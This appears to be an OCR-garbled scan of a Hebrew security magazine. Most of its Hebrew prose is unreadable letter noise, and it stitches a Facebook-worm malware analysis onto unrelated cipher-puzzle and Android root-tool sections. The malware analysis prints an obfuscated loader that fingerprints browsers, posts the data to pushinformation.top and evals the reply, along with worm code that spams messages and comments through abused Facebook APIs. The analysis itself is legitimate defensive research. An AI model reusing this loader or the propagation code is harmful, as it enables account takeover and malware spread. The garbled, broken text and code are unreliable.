Accept-Lanquage: he-IL.he;q=0.8,en-Us;g=0.6,en;0=0.4

3

| Find... (press Cirl+Enter to highlight all) || Viewin Motepad

[l2717n 7w Google Drive-7 nw'a MuN2 QUMY [7INN [DIN DX 17700 W]

72
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M VOFTINA - AT 7aIA

NI7WN7 MYINND ,2"T 7211 ¢ 7100 NIYYARA WK LPOST NWza n'7'on nun? nimna nwpan
:Base64-1 NTTIZN NDINX NTINNN 7710 NWzad XY [VOND QIR0 YW 2 TY DY

POST https:

Host: www.googleapis.com

content-type: multipart/form-data; boundary=

x-javascript-user-agent: google-api-javascript-client/1.1.0-beta

Accept-Language: he-IL,he;g=0.8,en-US;g=0.6,en;g=0.4

915743702750000

Content-Type: application/json

{ 16172 7, 3

————————— 320283915743702750000

Content-Type: text/html

Content-Transfer-Encoding: base64

PGhObWw+PC9zcGFuPjx1bCBj...¥YmN6eWIxenVnc3dpbmJoIj48L2h0bWw+Cg==
320283915743702750000-~-

NYIN NIXYIN 'YL QINY VU0 DN INKRT7 WK ,NWINY yalzn 7w 'TINY Anta n'Thn nannn
I PTNAY wnnwn 72 T ARNP7 NIMS N 7"nw D LYl

HTTP/1.1 200 OK

X-GUploader-UploadID:

AENB2UpKZH XmylXWEMwMBOIINQ5BQ4v3hmérIeXToatChi6RDNABrMyhBXgmgOgELlxc VHFO QKCYe
ALyCcnKLMmR1FDDyDA

Alt-Svc: quic=

{

NYUPAN 7w yona aving Base64-n 7V 1dYNn? MY NINYINN 'Y 7Y Q97 P'wniy 199

N7UN QRINNY Yalzn nn AN KR YAl DR7nY
yT'n naaa

720yn ' TR 7w qon 2% 7710 QWX HTML 09102 NI X1 LYAIpn NNRYS INKY
D'7'on 7122V 00NN NN TR TV 901N RINN ,NT? 12N .data.js 7w 712797 nniT no'wa
N72NnN AX717 > NRMIW JavaScript 7172 W' yaizn )N .0MmYE DR 17X IR ,0'9010 DYNAIT

:NRYSY NTNNN

<html></span><ul class= ><center class= ><span
id= ><ul id= ><ul class= ></img><img
id= ><img id= ><img class= ><meta

name= content= /><a><title>Donny Bravo</title><ul><a

class= ></span><span><a

href= ></a><div><img class= ><i><div
id= ><i></span><center
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class= ><ul><script>function ntSjDudMLW (hpihjeLwOE) {wvar
QIAtZgPsoKYQ=
; kaCgGvsh

.split ("") ;hpihjelwOE =

atob (hpihjeLwOE.split ("") .reverse () .join("")) .split ( ) ; GBOPfjTRVQw =
(var gFjpJdVMx = 0; gFjpJVMx < hpihjeLwOE.length; gFjpJVMx++) {if (typeof
kaCgGvsh [hpihjeLwOE [gFjpdVMx]] != ) {GBOPfjTRVQw = GBOPfjTRVQw +
kaCgGvsh [hpihjeLwOE [gFjpJVMx] ] ; var
JBndQXjVmhF=

; }var
ZBdoHKRe jM=

; }var
LnMakLkvbMdW=
;return GBOPfjTRVQw; }var nbazzcrgusbsmh=ntSjDudMLW ( ) ;var

cwflcxmslekjgcv=ntSjDudMLW ( ) ;var
fsapnrrxcsm=ntSjDudMLW ( ) ;var
qwaggwticnbegol=window; gwggwticnbegol [cwflcxmslekjgcv] (gwggwticnbegol [nbazzcrgusb
smh] (gwggwticnbegol [fsapnrrxcsm] ( ))) ;</script><i
id= ><img id= ><div class= ></a><span. ..

2 AR TR VO INIXR 2w N 72 LMD

<script>
function decode func(encoded payload) {

key = .split ("");
encoded payload = atob(encoded payload.split("").reverse().join("")) .split ( )2
decoded string = ;
for (var i = 0; i < encoded payload.lenght; i++) {

if (typeof keyl[encoded payload[i]] != ) |

decoded string = decoded string + key[encoded payload([i]];

}

}

return decoded string;
} window [ ] (window ([ ] (window [ ] (decode func (
</script>

NAN TN DX NA'XN NINNXRN NMIYA nTfnnnn 7w nnyo

(function () { /*aGRsZH15Z2nZocGR2d2t3Z2RwYmVjZXBreHpjeHl3ad6dGt5cnB0eU=; */
var navigator = {};
var navigator2 = {};
var navigator2 {};
for (var i in navigator) ({
_navigator[i] = navigator[i];

(var 1 in navigator.mimeTypes) {
_navigatorZ[i] = navigator.mimeTypes[i];

navVars = JSON.stringify( navigator);
_screen = {};

(var i1 in screen) {

_screen[i] = screen[i];

screenVars = JSON.stringify( screen);

scrVars = 8

infoSend = btoa (navVars + + scrVars + + screenVars +

document.referrer + + Date());

var tgakgoblijavvn = true;
if (typeof navigator.mimeTypes != ) |

if (typeof navigator.mimeTypes[0] !=

if (typeof navigator.mimeTypes[0].type ==
tgakgoblijavvn = false;
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}

}
if (tgakgoblijavvn === true) {
var vanckhtkszyt = new XMLHttpRequest () ;
vanckhtkszyt.open ( , ((location.protocol == ) 2

) + + String.fromCharCode (112, 117, 115, 104, 105, 110, 102, 111,
114, 109, 97, 116, 105, 111, 110, 46, 116, 111, 112, 47, 106, 115, 46, 106, 115)
+ + Math.random (), true);
vanckhtkszyt.setRequestHeader (
)i
vanckhtkszyt.onreadystatechange = function() {
if (vanckhtkszyt.readyState == 4 && vanckhtkszyt.status == 200) {
eval (vanckhtkszyt.responseText) ;
}
}i
vanckhtkszyt.send ( + infoSend) ;
}

}) (window) ;

info NINWNN 7 DINN XIN N ynn 72700 09NN 1YY POST Nz NYYANNY Nk T2
.022W VTN DR ANNIN 792 7'0n WwK

POST /js.js20.550745431729359 HTTP/1.1

Host: pushinformation.top

Content-Length: 1509

info=eyJ2ZW5kb3JTAWIiOiIiLCIwcmOkdWNOU3ViIjoiMjAw. . .MWMCAOSMVydXNhbGVtIERheWxpZ2
hOIFRpbWUp

sinfo NINWNN ¥ 1WN NRYOM gInn qoX ININ YT'RN NN NIKIY N1 ,9102Y

0'¥1777 nWIA NIRYIA '1'WY? DTN

707127 yaIp? nwan NX NRYY? wipar JSON univa POST [yun N9OoINA TN NNTRA WIN'Y

POST
https:

Host: content.googleapis.com

Content-Length: 33

{
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1QPINN WUNNY' 12 ,Y217 INIX 112Y I¥DY 2270 IR NIKT [N N2an2

HTTP/1.1 200 OK

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Server: GSE

Alternate-Protocol: 3:

Alt-Svc: quic= 2 =2592000; v=
Content-Length: 265

{

NIMITT NIRMP DY

ynory 7a'7n NN KIN XN 2A7WUNT1 DUNON AYP'9ITINN 27w ,N0PY NIXA Yalrn NR7VN INKY

D'YNNYN 'M'97 wnwn TNX 72 .0M¥p 0'72'"7 7 D10 W X' 09700 217N 7Y timeline-2

NIY T

.[271PN 'Y DONIDY VOI9] YNUI' - Google URL Shortener o

20177 N7 AWK 71209 NYTINA YNolI' - TingyURL e

:Google Shortner
gl: function (E, a) {
gF[U2e.U40] [U2e.T30] (String[U2e.G9U] (U2e.L50, ,U2e.P4U), function (A) {
var d = 8
if (U2e([d] (A, U2e.x7U0)) {

$[U2e.g00] ({

url:

type:

headers: {

br
async: false,
contentType:

data: JSON[U2e.t3U] ({
: E

1)y
complete: function (e) {
a(gF[U2e.r7U0] (e[U2e.060]) [U2e.s3U]) ;
}
1)
} else {
a(E);
}
}, U2e.h70);
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‘TinyURL

isgd: function (E) {
$[U2e.g00] ({
url:
type: ’
async: false,
complete: function (A) {
var d = function(e) {

= e[U2e.060];

V2N MWK JSE-N KN TNRD .DYAR AWI7W 900 QIpn W 2T ,0Napn DRYn NN gloa
NVY'D TNX ,HTML 'Yap DN 'wwnl Aun XN 2277 arnn '2nnn 270 ' n9'pnn Nwn

D'|7]"7ﬁ NIX'P 'MN'YN v "R JSE-n 7Y NIY NIY XIN WL VTN N21IA 7Y 'RINK RINE N7unY

.Vand N0YOY
before [
zcomment_a583663 [N 72026287 B 29207648 B

[D'wasnn nr¥apn nx 7715 (201N 72U Google Drive-n 1awn]

71209 [;710 N21A

2V NIRWIN WUiz27 IN'RI Q11PN N2 710 X7 091700 7Y L,i7100M9 YW API-n Dy "1aT? nan 2y

.NOPZNNN N12AY NYNTIN J'\I"?JI'XP]IDD

client -0 NX NIXTIA 'K TWKR APl NIRNP 7W |07 190N 7W WIN'W? TVIMY |71V Wan 09700
DIAVOY'X 7Y client ID-2 wnNWN? qpINN 1N ,XYIIN NAI07 .NWN T¥N NI7IV9 niv¥an 1K1, ID
NXPNY DN KIN AWM 17U DXP79XN NNTAN DX 21T QIPn DX .(124024574287414)

JTYUN DX N7Y' K7W 12T ,002001'K7 NIRWAN
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X7 DIAVOI'X YN NIXWIN NIXYY N [N ,NYTIO NI NIXA 1IN1IYW NIRYANN v myen T v

:”Messaging” |120 ,qUIV |DIXA NYpaANn

url:
type: ’
async: true,
makedata: vl,
data: {

fb [

VN2 DNKMIY NYRaN NNty

POST https:

Host: www.facebook.com
Content-Length: 538

Cookie: datr=0y95Vw4wlOgpT8

fb dtsg=AQHn-

bxImsMm%: QGoPMxd9qQJ&app 1d=124024574287414&redirect uri=fbconnect
cess&display=popupé&access_ token=&sdk=&from post=Il&public info nux=lg&private=&tos
=&read=read mailbox%2Cpublic profile selineswrite=&readwrite=g&extended=&soci
al confirm=&confirm=&seen scopes=read mailbo Cpublic profile%2Cbaseline&auth t
ype=&auth token=&auth nonce=&default audience=&ref=Defaults&return format=access
token&domain=&sso_device=&sheet name=initial& CONFIRM =1& user=10001256002541
1& a=1& dyn=& reg=lé&ttstamp=& rev=2425895

:NNRNNA 72pNNY N0'dN 710

HTTP/1.1 200 OK
Content-Length: 567

for
(77)7 4
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2w5-IX [n1An

710! N2 AWONN 7DD 21 NITIRI 190N X' XIX ,NNKR NIYIAD 7V AWONN X7 ATh TIPn I XY N
1 7w9 Sun? Nt M J7apna 0Tay NNdNa X7 D12NN X QIR 719'7 omnn wnnhwnn
0¥ NIYTIN DIOND 7V N'¥NIVIN Y¥INN DT A¥N .7WD1 IX'N 7277 Q1IN DX AN [I'0N1 NN
TinyURL j22*7 n7Dnn 21209 12N 737 NNX nyTIN Q010 0w ,U9MpPoN N7W' 1a1 P1A0MD v

...UNI2 D07 NNANNN NV 12D NAINMNNT PN 7Y 2T 72137

DN2NN 7W NRIMNIE VORL LYY NINN 70NN QPN W timeline-7 VOIS QZINN N7V 27 QoM
7¢ 7'9M5N NIINNA XM AT X' RID YPIN DIMN DX .GFQL DN7'RY NIYYARD X2 KN DNIR

NO'PNN NYYN XAl (navigator Op'"aIXa UJIYJ'UJ) |9TOTN NOY 'Y TN1IY VOV DY YNNwnNn

2%7v .07 1901 7N 712091 DIOTD N L1209 7w API-0 NN DM'Dn 0ON Nnd VTP K7 N

NniANINNN NX n||7n'7 nn 7y .nnXNN2 DI0N9N 27WI,N1dN 11D'7NN 190N DINA 7NN L,N1dNN

NN NNN2 DT 70N VIPYY? qQEINN 7Y LITN

:D'MpP'Y 02T Y7 70NN DR RN NKNN 7Y NN N1IvY
Preparing the post e

Posting it on Facebook e

N2 YNUIN YK VOV NWTIN 79NP7 NI 7Y NO'PNN MYYT NYpa N7V IURID TIgn 7172
,U07UN NN XA"7 NI 7Y .VOPOL IYNLINY D'VAD VO NN *7NITN [DIXA N2 VSN .NAUNNN

7¥ 'P120"5N NNTN NIX 70N NYpRAN P7 .00 7Y 010'oa D'0YD 190N A'WN7 VOMIFoN W

2R MIX

‘N1INN2 YALI' NIMKXOY NITINNN 190N V9" PON I73.|'I' nalana

HTTP/1.1 200 OK

Server: cloudflare-nginx
CF-RAY: 2bcb615465603524-1LHR
Content-Length: 1411
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100190 7W AwNNN NNl

E“ Mohammed I

https://www.googledrive.com/ho.../0B1QnPWBQq7 G22dEwtQO0I3dVVEZFU

Top visitors to

Mohammed NS

-

Moath Saba‘an Mahmoud E. Eimsiman

-~
Hossam Ashraf

7 Like B Comment # Share

[I217n 7w Timeline-2 21'w'9 V0197 XNAIT]

UN’¥D NIX D'901 ,N'¥P'9'0N N7 DX

7¥ DMann 770 NNXR D'90N7 qEINYT AWONNAN P120"9 7w ON'X7 NNMP X' 7WD-9RD (11110
:Message batch 7w LINIa NIYXNXA NIF7N T¥2 DX ITA D71V9N 72 .[a01pn
sendMessage: function (U,
k = ’

60,

4
function () {
U + U2e.d80 + globalFunction]| ] (U2e.x80) ;

type:

async: true,

data: W,

importData: importData,

complete: function (b) {
var X =

n =
I =
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] = gF[ 1 (Ehis[V] [G]) ;
= globalFunction [ ] (100, 9999);
globalFunction[f] (fbDatal 1021);

NN'7wN Nyxann pn NX7?

mChat: function (V, c, U) {
var C = o

’

t
K
Z
k
N
B
p
W
H

4

for (uuuu = 0; U2e[N] (uuuu, shareArr.length); uuuut+) {
var j = function() {
var e = 8
send = send + e + gF|[ ] (gF [ ] (U2e.380,
U2e.v40)) [ 107
}o

}
307
console| 1 (send) ;
mData = {
HE
U2e.750,
U2e.X40,
send,
ot
U2e.750,
fb [
U2e.750,
C,
U2e.750,
o[ 1/
}i
J(shareArr) ;
Sl 1 ({
url:
type: ’
async: true,
data: mData,
complete: function() {
cookies.save (fb[
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.72'7 TinyURL-n 7@ 0"2IXN YyNLINI XD DITRY ©

TinyURL-n 9107 D'TAXIN D'IN 7w N'701T NTNNN 71202 e
NYUPaN Nwn 72Inda e

LDYTINXT? NN 7Y WATIN YTIAN DR N7DNN NYpan nind - e
71209 7¥ 7Mann pwnn 0T NYX¥ANN NYRaN QAN

227 nwpan N N7w 'y 7722 91721 DNann 7Y RN NN'WAN NIR UDMPON KA DN TNKY

-

wunnun

1:46AM

hitpfinyurl comigtdudiv/ctbf
mqrivgmdrupvojfgcbghpxjxdd
olgqt

hitpftinyurl. com/hibcexfe/fus
acdaw7jgfinr2kzwkmbupzqgs
emsva24rduvEOwctsn

0 sent from Maobile

i

|}

V2000 Wpn DR 21701 "sent from Mobile" nyTIn? qlux TinyURL-7 w2
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2NN YINN NKXR D'X'XIN

omy 72 20 170 1ITh NN'wnn DR QINT? INP¥NY NNK - 910 910 NY'AN 11010NN W7 nlonn
IN¥XN1 X7 ,X7 .D200 DN 9NN AN MY 700 DR RIXN? Nty n1'w X977 N7 nndal © nwy
.N12N7 VIYD DA X7 NN, TN 7w D272 X¥N) DR DTN 70D 72X, NIMuTN Nman DT DY
N71 D0 79%” W TR LP120MD 7Y Nzl DIy 1Y7nn X7 DTY N 27'NNn Niaddimn

.0'Tn1 7y nnon?

NI IR ,NAAN NIYXANRA KD T 79 mention-7 nxp'9'011 X7 nT'N'N TN ,N7NNNA VLY '9)
TV DR AN X7 QXD AN .PI20"9 W punnn IN2 “NIT9” NXNIYW VRN NIYYNAN] - 2'1TN

.NXNNN NDI7 IVN9IN 212091 DALLITN NOPNNN
NIyon v flow-n NX DX IXI

MIX2 NINTTNY? INIWXANAL L'WY T DVYPI798] INIK DPNR7 N WK LPMIR D' 710097
N¥N NI WTN 272 'MNND 0K L [*2Vn IX7 .107¢ 212090 [1AWN 7w D'ATAN D'01SN DY DTN
19'¥90N ['AX79N .['AX79 7W DT 10 Y'LX X ,D'00I97 D'9IN'Y IX 71009 7w D' 7 WYY

NN 1'RUNT7 NINOIN nymnmy |')N'79 XIN DN NNIXRY

-

29 Comments Sort by

C i B httpsy//www.facebook.com) ] k 4 f et &

YINN 7X 0VAIVNN YNNYNN DX N7YUNY DXR'9'01N 11X 0710 1INIXR DTN 'AR790 7w qim 'y

17 nuAann 917 - 712097
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2V 1IX'N DX NIX? QYR'e'0Nn 172" 0N L1IIX'D NN VOIS INIXK 7V 12'AN DNAN YW DX ,7wnY?

00191 NI9X? NN

I B T

| Pages Feed Overcrowding and riot fears tumed of Adult VR Fest01 Notifications Mark All as Read - Mute - Settings
its kind highlighting new virtual reality (VR) technologie

"+ Create Page

EVENTS
¥ Create Event

Like Comment Share
s Wenn fiso commented on Dropbox
m.m Bl mentioned you
3 commen
Like Comment Share e All
i o—— -
your 5

& mentioned you in a = ]
Q g

i,

https://www.googledrive.com/ho.../0B1QnPWBq7

P Momdehh commented on
Top visitors s e

Q

T S

3a%2F% v dropbor.comaJFs 2 ktmaf libind 2FTargetFile%3Fdl%3D0th=IAQEOGS djfis = 1&enc=AZPoBOZYEsDIVIIhDdm-VO38t39jaPVCOWbS zvcYI0oxtsWilxYAxxhwPespaMFhkyZmO)-fL22LXSx3WpTGwmbiASSkP_aMKWWIEA

2¢ URL DV MX' "WUK ,12I¥'NN |'JN'791 12'AN ,i7120''92 0NN WX 079190 Y LI1'YYY VOLA

:dropbox.com-7 ynnwnn NX NNRI7 N'¥PO'0IN ,N72VNT7 NIKNTZ [N1IY 19D .0RIA9IFT

27U DY NIFAY7 [NPYa M) aR790 79 migm naiv? 2270 X 7NNRN DXV N9PNna N1 QY

:(yarg nTun? a'ma X1 7un'? anxn/nand/qT

JNXY 'AR791 NN 1IXY7 N Kan 27vn

url:

this|[

type:

async: true,
headers: {

bo
commentData: this.commentData,
data: {

app_id:

av: fb]

text: gF][
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attached photo fbid: 0,
attached sticker fbid: O,
post to feed:

__user: fb][ 1,

ttgtamp: fb [
__rev: fb]|
sp: 1

POST
https:

Host: www.facebook.com

Connection: keep-alive

Origin: https:

Content-Type: application/x-www-form-urlencoded
Accept: *

.https://www.facebook.com/plugins/comments-7 Yy¥xann N901 nWpa ,NNO01I9 NAIANNY NKY

J'AX792 LOISN 7Y properties-N NN NYITNN NYRN

X" N 7Y YT QIloX? 7'nni internal Facebook API-7 1itna 11X share_id-n 7apnnw yaa
1N7¢ NOPNNYT 11011 YNWNY NA'0P'S NAN

post params = ({
this|
gF [ 1(10) [
21,
Date|[ 10 + + Math[
globalFunction| 1(8) [

}

url:

type: ’
async: true,
headers: {
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MY NEATIM T 'AR?92 DanNn 7w share_id-2 wim'y yxann pRY wATIAN T2 NIKAY N2
22127 N'¥'9'0NIN 7V NX'NT7N NN QN7 2120797 DAY 12T DT 712091 NNXNAY 1700 NIANN

.("7un% infection loop-1 |'I¥w '93) wTNn stage 1 7w NTIINI 217 NIK 7W 2T
.null-7 comment_text-n 7INN'K NNIX2 NWPAN NNV KIN YXANNY [INNRD 27WUN

0V9"ZON ,)97 12YN .7IX'O”N INIK NX 1NON DX P120"9 DY ,NYX X7 NOPNNN DX 1ThYY [1'01

.N71Y9 75 XTI7 NN 7Y 21209 7Y ARA'TA wnnwn

if (A]
chrome [
method:
action:

url:
}, function (e)
commentsT;

.DITI-NN RNV AT 20PN 227 7V 1XN7'Y 102012 "Awnn ,N9PNNN NIX 110N 71209V |I1'N
5K XIn 7712 n1'nan .7un? OX'Y NIYTIN NIYYWY 72100 D KID X G NIRMN NIdDPNNN VO NX 17 'R

.MI7n 80KB nniy?

ni'oY

D'TYIN INIX .1MZNY TI77 12yn N2 7207 71011 TIKN 1ANXA AT 720 ,0M2TN NIX Dd01 DX
'001N 21'W'D 72D DN WK © “MI7OX NINWA”AI DMNKRI N7XD D'ANIDA AT 707 Builder n'jpw

AT 7% Tonl

AT DX 17RUMN - |Am> ,JI7RY W' DNI ,NIRPZNAN DNINY Al
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WordPress NNVAX 119'YY7 0'9'V

TY72 NW NXN

nNTPN
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.WordPress 7y D"112 V1NVI'XA DINKN 779N TINK 25 DI'D1,0MIXY D TNY

12N> K7W ,0'20 D'WIRT? NWONND L,71VONYT NN N7 RK'NY DTAIWN N7¢ AniXyvn NIMKX21919n
vyn X7 907 D™MaI0n V7NNAY 0O'9' D'NK NINAY? ,NIDNA POV X7 D7IVNI NNX T MY
-1 DNX NINRY? NI NI DN2AN L721V9N7 NN YNl DI7pn NIDT .0 0PN 0DI¥NN
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qOINd XI¥N7 N1 ,007¥ INXA NIKYY? D'¥N DN 1'¥'D 7D Vynd ,nwynY? .T91] |'Phn? N1
NN TIY X7 .NIN9 TIp K7W ATA X7910 D71VNN NN M9 n¥n7a mix fpnnY L(Plugin)
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PCQ VMIYPD LBYK LYSO KBXBJXWXV BXV ZCJPO EYPD KBXBJYUXJ LBJOO KCPK. CP LBO LBCMKXPV XPV
IYJKL PYDBL, QBOP KBO BXV OPVOV LBO LXRO CI SX'WIMI, KBO JCKO XPV EYKKOV LBO DICMPV ZOICIO
BYS, KXUYPD: 'DJOXL EYPD, ICJ X LBCMKXPV XPV CPO PYDBLK Y BXNO ZOOP JOACMPLYPD LC UCM LBO
IXZROK CI FXKL XDOK XPV LBO RODOPVK CI XPATOPL EYPDK. SXU Y SXEO KC ZCRV XK LC AJXNO X IXNCMJ CI
UCMJ SXGOKLU?'

OFYRCDMO, LXROK IJCS LBO LBCMKXPV XPV CCO PYDBLK
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2'nnn% 12> N2 1'wdy .B=h -y ron? [Xon1 ,0 NIXN DY B NIXG W'w Mun'o-Xn on'? 17 0w N1

J'WDY NIN 1N7W LOPLVN .NIDON NIMIX qIYNY7 oI 0'7'n DYDY

PCQ VMIIPD LhiK LiSe KhahlaWaV haV ZCJPe EiPD KhahliUal Lhlee KCPK. CP Lhe LhCMKaPV aPV liJKL
PiDhL, QheP Khe haV ePVev Lhe LaRe ClI Sa'alJMI, Khe JCKe aPV EiKKeV Lhe DJCMPV ZelCle hiS, KaUiPD:
'‘DJeal EiPD, ICJ a LhCMKaPV aPV CPe PoDhLK i haNe ZeeP JeACMPLiPD LC UCM Lhe IaZReK ClI FaKL aDeK
aPV Lhe ReDePVK Cl aPAiePL EiPDK. SaU i Sake KC ZCRV aK LC AJaNe a laNCMJ C UCMJ SaGeKLU?

eFiRCDMe, LaReK 1JCS Lhe LhCMKaPV aPV CPe PiDhLK

[N*2 |Xon .and -1 the [N N'72282 NI NINIDIN NIMIK WI7W N2 0'Y7'nn .01 DY7wN7 [N 1Dy

:XIN WTNN VOPLVNY 2 ,V=d -I P=n ,L=t-w N1A"Y

nCQ dMJinD thiK tiSe KhahJaWad haD ZClne EinD KhahliUal thlee KCnK. Cn the thCMKand and liJKt niDht,
Qhen Khe had ended the are Cl Sa'aJMI, Khe JCKe and EiKKed the DJCMnd ZelCle hiS, KaUinD: 'DJeat EinD,
ICJ a thCMKand and Cne noDhtK | haNe Zeen JeACMntinD tC UCM the laZReK ClI FaKt aDeK and the
ReDendK Cl anAient EinDK. SaU | SaEe KC ZCRV aK tC AjaNe a laNCMJ ClI UCMJ SaGeKtU?

eFiRCDMe, taReK 1JCS the thCMKand and Cne niDhtK

NNRY NIYVIINN .0VIAN DA XD C,nvnn ¢ n'7'n 2221 nirni L Cn XD wn UOWN NIIWXRIN 17NN
n7D'w Khe n7'mn DA Mw' .C=o0 NIXNI ,on X'N N7 D70 71 NA'RNN NI'R U .0 -1 u [N 197
.thoMsand and one niDhts "10'an NX 117 &' NIRTA NAXNN INKY7 .K=s ,L=t-1 NI'n .she IX the nI'nY
YOz ' 117 NID0N NMINNXN MWD D XL thousand and one nights-2 M2IMW KIN 21IFAN WINY
-1 M=u, I=f, J=r, D=}, R=I-w j7*0n"%7 0"713' 12X dnI ,tales from the thousand and one nights-n Ni?7

JINIYIAY VORLVN NIX N0 DYD DIYN] D QW71 ,0'7' QIYN7I J'Unn? 071" 1IX.S=m

noQ during this time shahraWad hag Zorne Eing shahriUar three sons. on the thousand and first night,
Qhen she had ended the tale of ma'aruf, she rose and Eissed the ground Zefore him, saUing: 'great Eing,
for a thousand and one noghts i haNe Zeen reAounting to Uou the faZles of Fast ages and the legends of
anAient Eings. maU i maEe so ZolV as to AjaNe a faNour of Uour maGestU?

teFilogue, tales from the thousand and one nights
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b|c|d|e|f|G|h|i| j|lk|I|m|n|lfo|p|lq|r|s|tlulVv| iw|x]|y]| z

Z|A|V|O|I|D|B|Y|G|E|R| S|[P|C|F|H|J|K|LIM|N[Q|T|U]|W||9x¥m

:NIN D7WUN LOPLNI

Now during this time Shahrazad had borne king Shahryar three sons. On the thousand and first night, when
she had ended the tale of Ma'aruf, she rose and kissed the ground before him, saying: "great king, for a
thousand and one nights | have been recounting to you the fables of past ages and the legends of ancient
kings. May | make so bold as to crave a favour of you majesty?"

Epilogue, tales from the thousand and one nights

JIMIX 79 077a Dnd 10N71 ,9100 NROPZ7 NI7A7 [N D' NmMyy NNSNN DX DAY 27 In'Y
NIMIN 27U 2TIN NXD W'Y 27 D'W7 1Y .AXIN 7DD AVOIDBYGERSPC KIN [XD XXNIW NNONN

.A Void by Georges Perec XIn [122 07NN2 NTN NMIPNA X, 120 K7 WIND L nXY 75 NNTINY

,7¢ D19¥] N'0MA N22IN] WNNwNn R N JNK KXIN (]']IO]"I NNan DN) INX5N DNKRY VORLN

(DTN vopLA favor K71 favour D) LYNA NIIY KIN NI'RN D'N'Y7Y 27 MY TR

BT JPX RMLX PCUV AMLX ICVIJP IBTWXVR CI M LMT'R PMTN, MTN YVCIX CDXV MWMBTRJ JPX
AMTNGXRIBAH UQCT JPX QGMRIXV ClI JPX YMGG CI JPX HBTW'R QMGMAX; MTN JPX HBTW RMY JPX
QMVIJ CI JPX PMTN JPMJ YVCIX. JPXT JPX HETW'R ACUTIXTMTAX YMR APMTWXN, MTN PBR JPCUWPIR
JVCUFGXN PBL, RC JPMJ JPX SCBTIR Cl PBR GCBTR YXVX GCCRXN, MTN PBR HTXXR RLCIX CTX MWMBTRIJ
MTCJPXV. JPX HBTW AVBXN MGCUN JC FVBTW BT JPX MRIVCGCWXVR, JPX APMGNXMTR, MTN JPX
RCCJPRMEXVR. MTN JPX HBTW RQMHX, MTN RMBN JC JPX YBRX LXT CI FMFEGCT, YPCR CXDXV RPMGG
VXMN JPBR YVBIJBTW, MTN RPCY LX JPX BTIXVQVXIMIBCT JPXVXCI, RPMGG FX AGCJPXN YBJP RAMVGXI,
MTN PMDX M APMBT CI WCGN MFCUJ PBR TXAH, MTN RPMGG FX JPX JPBVN VUGXV BT JPX HBTWNCL.
JPXT AMLX BT MGG JPX HBTW'R YBRX LXT; FUJ JPXE ACUGN TCJ VXMN JPX YVBIJBTW, TCV LMHX HTCYT JC
JPX HBTW JPX BTIXVQVXIMIBCT JPXVXCI. JPXT YMR HBTW FXGRPMOOMV WVXMIJGE JVCUFGXN, MTN PBR
ACUTIXTMTAX YMR APMTWXN BT PBL, MTN PBR GCVNR YXVX MRIJCTBRPXN. TCY JPX KUXXT, FE VXMRCT
Cl JPX YCVNR CI JPX HBTW MTN PBR GCVNR, AMLX BTIC JPX FMTKUXJ PCURX; MTN JPX KUXXT RQMHX
MTN RMBN, C HBTW, GBDX ICVXDXV; GXJ TCJ JPE JPCUWPIR JVCUFGX JPXX, TCV GXJ JPE ACUTIXTMTAX FX
APMTWXN; JPXVX BR M LMT BT JPE HBTWNCL, BT YPCL BR JPX RQBVBJ CI JPX PCGE WCNR; MTN BT JPX
NMER CI JPE IMJPXV GBWPJ MTN UTNXVRIMTNBTW MTN YBRNCL, GBHX JPX YBRNCL CI JPX WCNR, YMR
ICUTN BT PBL; YPCL JPX HBTW TXFUAPMNTXOOMV JPE IMJPXV, JPX HBTW, B RME, JPE IMJPXV, LMNX
LMRIXV ClI JPX LMWBABMTR, MRIVCGCWXVR, APMGNXMTR, MTN RCCIPRMEXVR; ICVMRLUAP MR MT
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XZAXGGXTJ) RQBVBJ, MTN HTCYGXNWX, MTN UTNXVRIJMTNBTW, BTIXVQVXIBTW CI NVXMLR, MTN
RPCYBTW CI PMVN RXTJXTAXR, MTN NBRRCGDBTW CI NCUFJR, YXVX ICUTN BT JPX RMLX NMTBXG, YPCL
JPX HBTW TMLXN FXGIXRPMOOMYV; TCY GXJ NMTBXG FX AMGGXN, MTN PX YBGG RPCY JPX
BTIXVQVXJMIBCT. JPX IBVRJ ACNXYCVN BR CJPXGGC.

T DINXA NTTOQ XAN INNND NXINN MINA MY DX X7 ARTR NN [IWRIN Inn7xna
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.0'2071IN NI NXZ 019X PIOY]Y XKAn 1NXRN2
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,C-security-al1 *?"N¥N 12"0N NUN 7Y D'NAY NN TAY X DIPND NNSN 16 2,72 1'9IN 'Y
-Y INX71 ,N"M2YA PTIVA NIN RI¥XNT7 NYR "' DNDA N22IR0D1 N7'0NNNN TN DX 'MN'ow TNNY
NAMd YR MR XY N1 .A0Th DNNY MY LWl yT Ipn Ny i DigitalWhisper
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https://en.wikipedia.org/wiki/Letter frequency

07 |9IN

https://en.wikipedia.org/wiki/Caesar cipher
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12T 70 vYNd VX7 715' NT wnnwn .(ID=0 ny) root XN NI
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.mount yixa ®

.chmod-1 chown yix'a e
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Root Browser

JRummy Apps Inc. Productivity L 8 & 30,296 &
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Offers in-app purchases
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ADDITIONAL INFORMATION
Updated Size Installs
May 9, 2016 2.6M 10,000,000 - 50,000,000
Current Version Requires Android Content Rating
2240 1.6 and up PEGI 3
Learn more

(1N Nixiova shell NImpEo 7onw TN "D'75 TAAX"-2 NwNnwn RootBrowser ,nLUWN 197 NNNN
NI7Iwo VIxaA%? N 07D AN |*a1vn RootBrowser ,'0'01 TRN shell W' T'RINTIX NdWwnw

.busybox Da X172 NT D75 TAIX - AN NINdINN

(Is 17'9X IX zip 120) shell *757 D1IW D'WIN'M 1IN 7DNW T'N* "X KIN busybox - 1N X7w MY

N7 NITpon W o-link 975 0T DY Mo [9IXA .1RIXTD busybox MxY7 79077 710! TNXK D
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TAINT N1 .NINNKRN N71IV9N NXK YX¥A7 VTI' busybox-1 ,busybox 7X v'axn zip ,7un? 72 .busybox

.https://busybox.net ANX2 busybox Dy pnwYi

X NIEP'ThN |0 ,"jvan JIMA" DK 0'¥aE 71707 NIRMIvn NEYPYOX QUKD LMo 91K
78 NN97 IN1w D TN ,TRN D'IT Resources-1 Assets , T'RINTIX NNN .Assets 1IN 1770 D'¥an
oy NNIT N2T NIWY? N1 XY Tiva LR owa npnn M7 yamane tnim ID T 7y Resources
,XP"79XN 7W sandbox-n NNN NXYNIY ,Assets DY N''?'N NNN D'NWI DAYV Assets-n .Assets

J1I¥'nn 071vinn "nnam" P

DN1) DN7W BusyBox-7 71N [IDTY NOMA 2MD7 D1*1yn DAY 10'7NN RootBrowser 'NNon ,"Myx?

JOAN TIRN YO 707 HTTP 2un nwyl N1 1DTVI - (DNXY 7 custom TNX 1790'7 DX
